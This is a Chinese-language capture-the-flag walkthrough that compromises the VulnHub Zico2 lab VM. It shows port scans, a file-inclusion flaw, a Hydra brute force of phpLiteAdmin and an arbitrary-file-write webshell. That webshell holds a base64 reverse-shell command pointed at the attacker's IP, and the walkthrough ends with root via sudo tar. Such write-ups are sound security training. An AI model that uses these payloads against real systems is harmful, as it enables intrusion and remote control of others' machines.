准备工作
靶机基本信息
靶机名称:
Zico2: 1
操作系统:Linux
网络连接方式:桥接至物理网络
虚拟机软件:VMware Workstation
渗透测试目标:获取靶机root
权限并读取Flag文件下载地址:zico2: 1 ~ VulnHub
环境配置
下载后打开VMware Workstation
,点击主页上的File
=> Open
按钮,选择zico2.ovf
文件即可导入。
信息收集
IP地址发现
在Kali Linux中,使用netdiscover
工具进行IP地址发现:
shell
netdiscover -r 192.168.2.0/24
可以看到靶机IP地址为192.168.2.103
,但原先的IP地址为192.168.2.102
。(这里是因为隔了一个春节假期后再完成的提权部分,IP地址租约到期了)
ICMP检测
知道了靶机的IP地址后,使用ping
命令检测攻击机与靶机间连通性:
shell
┌──(root㉿attacker)-[/home/hacker]
└─# ping -c 4 192.168.2.102
PING 192.168.2.102 (192.168.2.102) 56(84) bytes of data.
64 bytes from 192.168.2.102: icmp_seq=1 ttl=64 time=0.617 ms
64 bytes from 192.168.2.102: icmp_seq=2 ttl=64 time=0.377 ms
64 bytes from 192.168.2.102: icmp_seq=3 ttl=64 time=0.303 ms
64 bytes from 192.168.2.102: icmp_seq=4 ttl=64 time=0.231 ms
--- 192.168.2.102 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3067ms
rtt min/avg/max/mdev = 0.231/0.382/0.617/0.145 ms
发现攻击机和靶机之间连通性正常,我们使用Nmap
进行防火墙探测。
防火墙检测
我们确定攻击机和靶机间连通性正常之后,使用Nmap
发送TCP ACK
包的方式进行防火墙检测:
shell
┌──(root㉿attacker)-[/home/hacker]
└─# nmap -sA -p- 192.168.2.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-05 09:10 CST
Nmap scan report for 192.168.2.102 (192.168.2.102)
Host is up (0.00040s latency).
All 65535 scanned ports on 192.168.2.102 (192.168.2.102) are in ignored states.
Not shown: 65535 unfiltered tcp ports (reset)
MAC Address: 00:0C:29:BC:16:22 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.06 seconds
但这里我们无法确定防火墙状态,所以直接进行网络端口扫描。
网络端口扫描
我们可以使用Nmap
工具对靶机进行开放端口、软件版本、操作系统等方面的探测。
shell
# TCP扫描命令
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.102
# UDP扫描命令
nmap -sC -sU -sA -T4 -oN ./udp_result.txt 192.168.2.102
TCP探测结果如下:
UDP扫描结果如下:
可以看到靶机开放了如下端口:
端口 | 传输层协议 | 应用层协议 | 状态 | 详细信息 |
---|---|---|---|---|
22 | TCP | SSH | 开启 | OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) |
80 | TCP | HTTP | 开启 | Apache httpd 2.2.22 ((Ubuntu)) |
111 | TCP | RPC | 开启 | rpcbind 2-4 (RPC #100000) |
123 | UDP | NTP | 开启 | 未知 |
58508 | TCP | 未知 | 开启 | 未知 |
同时发现靶机操作系统为Ubuntu Linux
,内核版本为Linux 2.6.32 - 3.5
。
服务探测
SSH服务(22端口)
我们使用Netcat
工具确定端口Banner
信息:
shell
┌──(root㉿attacker)-[/home/hacker/Documents/vulnhub_notes/zico2]
└─# nc -nv 192.168.2.102 22
(UNKNOWN) [192.168.2.102] 22 (ssh) open
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.10
NTP服务(123端口)
我们使用Nmap
工具对该服务进行漏洞扫描:
shell
┌──(root㉿attacker)-[/home/hacker/Documents/vulnhub_notes/zico2]
└─# nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 192.168.2.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-05 10:01 CST
Nmap scan report for 192.168.2.102 (192.168.2.102)
Host is up (0.00035s latency).
PORT STATE SERVICE VERSION
123/udp open ntp NTP v4 (secondary server)
| ntp-info:
|_ receive time stamp: 2024-02-05T02:01:06
MAC Address: 00:0C:29:BC:16:22 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.48 seconds
未发现有效信息,于是使用ntpd
工具进行信息枚举:
shell
┌──(root㉿attacker)-[/home/hacker/Documents/vulnhub_notes/zico2]
└─# ntpq -c {readlist,readvar,peers,associations} 192.168.2.102
ntpq: standard-mode lookup of readvar failed, Temporary failure in name resolution
ntpq: standard-mode lookup of peers failed, Temporary failure in name resolution
ntpq: standard-mode lookup of associations failed, Temporary failure in name resolution
***Request timed out
┌──(root㉿attacker)-[/home/hacker/Documents/vulnhub_notes/zico2]
└─# ntpd -c {monlist,listpeers,sysinfo} 192.168.2.102
2024-02-05T10:10:20 ntpd[47875]: INIT: ntpd ntpsec-1.2.2: Starting
2024-02-05T10:10:20 ntpd[47875]: INIT: Command line: ntpd -c monlist listpeers sysinfo 192.168.2.102
未枚举出有效信息。
RPC服务(111端口)
我们使用rpcinfo
工具枚举RPC服务的详细端口注册信息:
shell
┌──(root㉿attacker)-[/home/hacker/Documents/vulnhub_notes/zico2]
└─# rpcinfo 192.168.2.102
program version netid address service owner
100000 4 tcp6 ::.0.111 portmapper superuser
100000 3 tcp6 ::.0.111 portmapper superuser
100000 4 udp6 ::.0.111 portmapper superuser
100000 3 udp6 ::.0.111 portmapper superuser
100000 4 tcp 0.0.0.0.0.111 portmapper superuser
100000 3 tcp 0.0.0.0.0.111 portmapper superuser
100000 2 tcp 0.0.0.0.0.111 portmapper superuser
100000 4 udp 0.0.0.0.0.111 portmapper superuser
100000 3 udp 0.0.0.0.0.111 portmapper superuser
100000 2 udp 0.0.0.0.0.111 portmapper superuser
100000 4 local /run/rpcbind.sock portmapper superuser
100000 3 local /run/rpcbind.sock portmapper superuser
100024 1 udp 0.0.0.0.142.183 status 105
100024 1 tcp 0.0.0.0.228.140 status 105
100024 1 udp6 ::.154.48 status 105
100024 1 tcp6 ::.154.246 status 105
结果未发现有效信息。
Web应用程序(80端口)
我们首先使用浏览器打开主页:http://192.168.2.102/
发现主页是一个使用Bootstrap
建立的站点,而且似乎是一个静态站。
查看网页源代码,发现了一处可疑的超链接:
html
<aside class="bg-dark">
<div class="container text-center">
<div class="call-to-action">
<h2>Ok... Show me the tools?!</h2>
<a href="/view.php?page=tools.html" class="btn btn-default btn-xl sr-button">Check them out!</a>
</div>
</div>
</aside>
点击该链接之后发现网页并未被重定向至指定页面 (无304
包) ,怀疑此处存在文件包含漏洞:
尝试将view.php
的GET
参数page
改为../../../../../etc/passwd
,成功,确定此处存在任意文件包含漏洞:
使用dirsearch
工具扫描一下网站目录:
经过一番探查,确定/dbadmin
目录为敏感目录,该目录中部署有PHPLiteAdmin
SQLite数据库管理系统,版本为1.9.3
。
通过查询Exploit-DB
漏洞数据库,发现该版本PHPLiteAdmin
系统存在任意文件写入漏洞,触发步骤如下:
- 登录管理系统之后,在页面上新建一个
<任意文件名>.php
名称格式的数据库; - 点击创建的数据库,在数据库管理页面新建一张任意名称的数据表,但其列数必须为
1
列; - 在数据表管理界面填入新建行的名称,将该行数据类型修改为
TEXT
,在默认值一列填入PHP木马的内容,除此之外其它内容保持原样不变; - 返回主页即可看到新建PHP木马的路径。
我们随即对其进行渗透测试。
渗透测试
PHPLiteAdmin密码爆破
在Kali Linux中,我们使用Hydra
工具对其进行密码爆破。首先我们使用BurpSuite
工具对登录请求包进行拦截查看,确定路由:
可以看到登录请求共有4
个参数:
password
:<密码信息>
remember
:yes
login
:Log+In
proc_login
:true
其中password
参数为我们输入的密码。这里确定路由之后直接使用hydra
爆破:
shell
hydra -f -L /usr/share/wordlists/metasploit/password.lst -p yes -s 80 192.168.2.102 http-post-form "/dbadmin/test_db.php:password=^USER^&remember=^PASS^&login=Log+In&proc_login=true:Incorrect" -t 16
(直接将remember
参数设置为密码参数,并指定固定值yes
)
最后直接得到密码admin
:
直接登录phpLiteAdmin
:
写入网页木马
登录管理系统之后,按照前面所讲的方法写入PHP木马。这里作者使用的木马如下:
php
# 将Base64解码之后为反弹Shell命令
<?php system(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mL2Rldi90Y3AvMTkyLjE2OC4yLjUwLzEwMDAwIDA+JjEn")); ?>
创建完成之后返回主页,发现木马的路径为:/usr/databases/revshell.php
直接使用前面view.php
的文件包含漏洞来执行WebShell:
成功!!!
权限提升
本地信息收集
成功进入系统之后,我们在攻击机的8000
端口开启SimpleHTTPServer
,上传LinPeas
工具进行信息收集:
shell
cd /tmp
wget http://192.168.2.50:8000/linpeas.sh
chmod 700 /tmp/linpeas.sh
/tmp/linpeas.sh
下面展示执行结果:
系统基本信息
系统用户信息
计划任务信息
系统进程列表
特殊权限文件
WordPress配置文件
直接找到了一个登录信息:
- 用户名:
zico
- 密码:
sWfCsfJSPV9H3AmQzw8
tar命令提权
将前面获取到的登录凭据用于登录MySQL
,发现无法登录,于是将其用于SSH
的登录,直接成功:
随后尝试执行sudo -l
命令查看能以高权限用户身份执行的命令:
发现zico
用户能免密以root
用户身份运行如下命令:
/bin/tar
/usr/bin/zip
(好啊,又是一台直接白给的靶机)
直接执行如下命令提权:
shell
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
然后就毫无悬念地提权到了root
:
成功!!!
直接改密码一条龙服务:
shell
root@zico:~# passwd
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully
Flag文件信息
文件名:
flag.txt
文件路径:/root/flag.txt
文件大小:75.00 Bytes
MD5:144605946de0dab526fdc439d08bc24e
SHA256:9419c903360a158544526c0ff01222455dafcbb4e7e041ddda2463d4c0f2ec4e
Flag内容截图: